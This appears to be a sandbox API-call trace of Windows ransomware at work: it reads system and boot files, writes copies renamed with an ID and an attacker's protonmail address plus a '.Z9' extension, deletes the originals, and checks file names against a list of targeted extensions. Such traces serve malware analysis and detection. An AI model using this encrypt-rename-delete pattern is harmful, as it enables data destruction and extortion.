	[0072.832] ReadFile (in: hFile=0x36c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x16c82, lpOverlapped=0x0) returned 1
	[0072.835] WriteFile (in: hFile=0x2f4, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x16c90, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x16c90, lpOverlapped=0x0) returned 1
	[0072.837] ReadFile (in: hFile=0x36c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.837] WriteFile (in: hFile=0x2f4, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0072.837] SetEndOfFile (hFile=0x2f4) returned 1
	[0072.838] CloseHandle (hObject=0x2f4) returned 1
	[0072.841] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.841] SetEndOfFile (hFile=0x36c) returned 1
	[0072.842] CloseHandle (hObject=0x36c) returned 1
	[0072.842] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0072.842] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 1
	[0072.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0072.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0072.843] lstrlenW (lpString=".doc") returned 4
	[0072.843] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.843] lstrlenW (lpString=".docx") returned 5
	[0072.843] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0072.843] lstrlenW (lpString=".pdf") returned 4
	[0072.843] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.843] lstrlenW (lpString=".xls") returned 4
	[0072.843] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.843] lstrlenW (lpString=".xlsx") returned 5
	[0072.843] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0072.843] lstrlenW (lpString=".ppt") returned 4
	[0072.843] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0072.843] lstrlenW (lpString=".zip") returned 4
	[0072.843] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.843] lstrlenW (lpString=".rar") returned 4
	[0072.843] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.843] lstrlenW (lpString=".bz2") returned 4
	[0072.843] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.843] lstrlenW (lpString=".7z") returned 3
	[0072.843] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0072.843] lstrlenW (lpString=".dbf") returned 4
	[0072.843] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0072.843] lstrlenW (lpString=".1cd") returned 4
	[0072.843] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0072.843] lstrlenW (lpString=".jpg") returned 4
	[0072.843] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0072.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0072.844] lstrlenW (lpString=".doc") returned 4
	[0072.844] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.844] lstrlenW (lpString=".docx") returned 5
	[0072.844] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0072.844] lstrlenW (lpString=".pdf") returned 4
	[0072.844] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.844] lstrlenW (lpString=".xls") returned 4
	[0072.844] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.844] lstrlenW (lpString=".xlsx") returned 5
	[0072.844] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0072.844] lstrlenW (lpString=".ppt") returned 4
	[0072.844] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0072.844] lstrlenW (lpString=".zip") returned 4
	[0072.844] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.844] lstrlenW (lpString=".rar") returned 4
	[0072.844] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.844] lstrlenW (lpString=".bz2") returned 4
	[0072.844] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.844] lstrlenW (lpString=".7z") returned 3
	[0072.844] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0072.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0072.844] lstrlenW (lpString=".dbf") returned 4
	[0072.844] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0072.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0072.844] lstrlenW (lpString=".1cd") returned 4
	[0072.844] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0072.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 48
	[0072.844] lstrlenW (lpString=".jpg") returned 4
	[0072.845] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0072.845] lstrcmpiW (lpString1=".p7b", lpString2=".Z9") returned -1
	[0072.845] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24
	[0072.845] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0072.846] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4662) returned 1
	[0072.846] CloseHandle (hObject=0x36c) returned 1
	[0072.846] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20
	[0072.847] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.847] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0072.847] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0072.847] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0072.847] lstrlenW (lpString=".doc") returned 4
	[0072.847] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0072.847] lstrlenW (lpString=".docx") returned 5
	[0072.847] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0072.847] lstrlenW (lpString=".pdf") returned 4
	[0072.847] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0072.847] lstrlenW (lpString=".xls") returned 4
	[0072.847] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0072.847] lstrlenW (lpString=".xlsx") returned 5
	[0072.847] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0072.847] lstrlenW (lpString=".ppt") returned 4
	[0072.847] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0072.847] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0072.847] lstrlenW (lpString=".zip") returned 4
	[0072.847] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0072.847] lstrlenW (lpString=".rar") returned 4
	[0072.847] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0072.847] lstrlenW (lpString=".bz2") returned 4
	[0072.847] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0072.847] lstrlenW (lpString=".7z") returned 3
	[0072.847] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0072.847] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0072.847] lstrlenW (lpString=".dbf") returned 4
	[0072.847] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0072.847] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0072.848] lstrlenW (lpString=".1cd") returned 4
	[0072.848] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0072.848] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0072.848] lstrlenW (lpString=".jpg") returned 4
	[0072.848] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0072.848] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0072.848] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0072.848] lstrlenW (lpString=".doc") returned 4
	[0072.848] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0072.848] lstrlenW (lpString=".docx") returned 5
	[0072.848] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0072.848] lstrlenW (lpString=".pdf") returned 4
	[0072.848] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0072.848] lstrlenW (lpString=".xls") returned 4
	[0072.848] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0072.848] lstrlenW (lpString=".xlsx") returned 5
	[0072.848] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0072.848] lstrlenW (lpString=".ppt") returned 4
	[0072.848] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0072.848] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0072.848] lstrlenW (lpString=".zip") returned 4
	[0072.848] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0072.848] lstrlenW (lpString=".rar") returned 4
	[0072.848] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0072.848] lstrlenW (lpString=".bz2") returned 4
	[0072.848] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0072.848] lstrlenW (lpString=".7z") returned 3
	[0072.848] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0072.848] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0072.848] lstrlenW (lpString=".dbf") returned 4
	[0072.848] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0072.848] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0072.848] lstrlenW (lpString=".1cd") returned 4
	[0072.848] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0072.848] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0072.849] lstrlenW (lpString=".jpg") returned 4
	[0072.849] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0072.849] lstrcmpiW (lpString1=".BAK", lpString2=".Z9") returned -1
	[0072.849] lstrlenW (lpString="BOOTSECT.BAK") returned 12
	[0072.849] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0072.849] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=8192) returned 1
	[0072.849] CloseHandle (hObject=0x36c) returned 1
	[0072.849] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27
	[0072.849] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\bootsect.bak.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.849] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1
	[0072.849] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0072.850] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.850] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.850] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\bootsect.bak.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0072.852] GetLastError () returned 0x0
	[0072.852] ReadFile (in: hFile=0x36c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x2000, lpOverlapped=0x0) returned 1
	[0072.854] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x2010, lpOverlapped=0x0) returned 1
	[0072.855] ReadFile (in: hFile=0x36c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.855] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0072.855] SetEndOfFile (hFile=0x360) returned 1
	[0072.856] CloseHandle (hObject=0x360) returned 1
	[0072.856] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.857] SetEndOfFile (hFile=0x36c) returned 1
	[0072.857] CloseHandle (hObject=0x36c) returned 1
	[0072.857] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x27) returned 1
	[0072.858] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1
	[0072.858] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0072.858] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0072.858] lstrlenW (lpString=".doc") returned 4
	[0072.858] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1
	[0072.858] lstrlenW (lpString=".docx") returned 5
	[0072.858] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1
	[0072.858] lstrlenW (lpString=".pdf") returned 4
	[0072.858] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1
	[0072.858] lstrlenW (lpString=".xls") returned 4
	[0072.858] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1
	[0072.858] lstrlenW (lpString=".xlsx") returned 5
	[0072.858] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1
	[0072.858] lstrlenW (lpString=".ppt") returned 4
	[0072.858] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1
	[0072.858] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0072.858] lstrlenW (lpString=".zip") returned 4
	[0072.858] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1
	[0072.858] lstrlenW (lpString=".rar") returned 4
	[0072.858] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1
	[0072.858] lstrlenW (lpString=".bz2") returned 4
	[0072.858] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1
	[0072.858] lstrlenW (lpString=".7z") returned 3
	[0072.858] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1
	[0072.858] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0072.859] lstrlenW (lpString=".dbf") returned 4
	[0072.859] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1
	[0072.859] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0072.859] lstrlenW (lpString=".1cd") returned 4
	[0072.859] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1
	[0072.859] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0072.859] lstrlenW (lpString=".jpg") returned 4
	[0072.859] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1
	[0072.859] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0072.859] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0072.859] lstrlenW (lpString=".doc") returned 4
	[0072.859] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1
	[0072.859] lstrlenW (lpString=".docx") returned 5
	[0072.859] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1
	[0072.859] lstrlenW (lpString=".pdf") returned 4
	[0072.859] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1
	[0072.859] lstrlenW (lpString=".xls") returned 4
	[0072.859] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1
	[0072.859] lstrlenW (lpString=".xlsx") returned 5
	[0072.859] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1
	[0072.859] lstrlenW (lpString=".ppt") returned 4
	[0072.859] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1
	[0072.859] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0072.859] lstrlenW (lpString=".zip") returned 4
	[0072.859] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1
	[0072.859] lstrlenW (lpString=".rar") returned 4
	[0072.859] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1
	[0072.859] lstrlenW (lpString=".bz2") returned 4
	[0072.859] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1
	[0072.859] lstrlenW (lpString=".7z") returned 3
	[0072.859] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1
	[0072.859] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0072.859] lstrlenW (lpString=".dbf") returned 4
	[0072.859] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1
	[0072.859] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0072.859] lstrlenW (lpString=".1cd") returned 4
	[0072.860] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1
	[0072.860] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0072.860] lstrlenW (lpString=".jpg") returned 4
	[0072.860] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1
	[0072.860] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0072.860] lstrlenW (lpString="C2RHeartbeatConfig.xml") returned 22
	[0072.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0072.871] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4136) returned 1
	[0072.871] CloseHandle (hObject=0x2f4) returned 1
	[0072.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20
	[0072.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0072.872] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0072.872] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.872] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.872] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0072.874] GetLastError () returned 0x0
	[0072.874] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1028, lpOverlapped=0x0) returned 1
	[0072.884] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x1030, lpOverlapped=0x0) returned 1
	[0072.887] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0072.887] WriteFile (in: hFile=0x360, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x100, lpOverlapped=0x0) returned 1
	[0072.888] SetEndOfFile (hFile=0x360) returned 1
	[0072.888] CloseHandle (hObject=0x360) returned 1
	[0072.889] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0072.889] SetEndOfFile (hFile=0x378) returned 1
	[0072.890] CloseHandle (hObject=0x378) returned 1
	[0072.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0072.890] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 1
	[0072.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0072.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0072.890] lstrlenW (lpString=".doc") returned 4
	[0072.890] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0072.890] lstrlenW (lpString=".docx") returned 5
	[0072.890] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0072.890] lstrlenW (lpString=".pdf") returned 4
	[0072.890] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0072.890] lstrlenW (lpString=".xls") returned 4
	[0072.890] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0072.890] lstrlenW (lpString=".xlsx") returned 5
	[0072.890] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0072.890] lstrlenW (lpString=".ppt") returned 4
	[0072.891] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0072.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0072.891] lstrlenW (lpString=".zip") returned 4
	[0072.891] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0072.891] lstrlenW (lpString=".rar") returned 4
	[0072.891] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0072.891] lstrlenW (lpString=".bz2") returned 4
	[0072.891] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0072.891] lstrlenW (lpString=".7z") returned 3
	[0072.891] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0073.602] lstrlenW (lpString=".dbf") returned 4
	[0073.602] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0073.602] lstrlenW (lpString=".1cd") returned 4
	[0073.602] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0073.602] lstrlenW (lpString=".jpg") returned 4
	[0073.602] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0073.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0073.602] lstrlenW (lpString=".doc") returned 4
	[0073.602] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.602] lstrlenW (lpString=".docx") returned 5
	[0073.602] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0073.602] lstrlenW (lpString=".pdf") returned 4
	[0073.602] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.603] lstrlenW (lpString=".xls") returned 4
	[0073.603] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.603] lstrlenW (lpString=".xlsx") returned 5
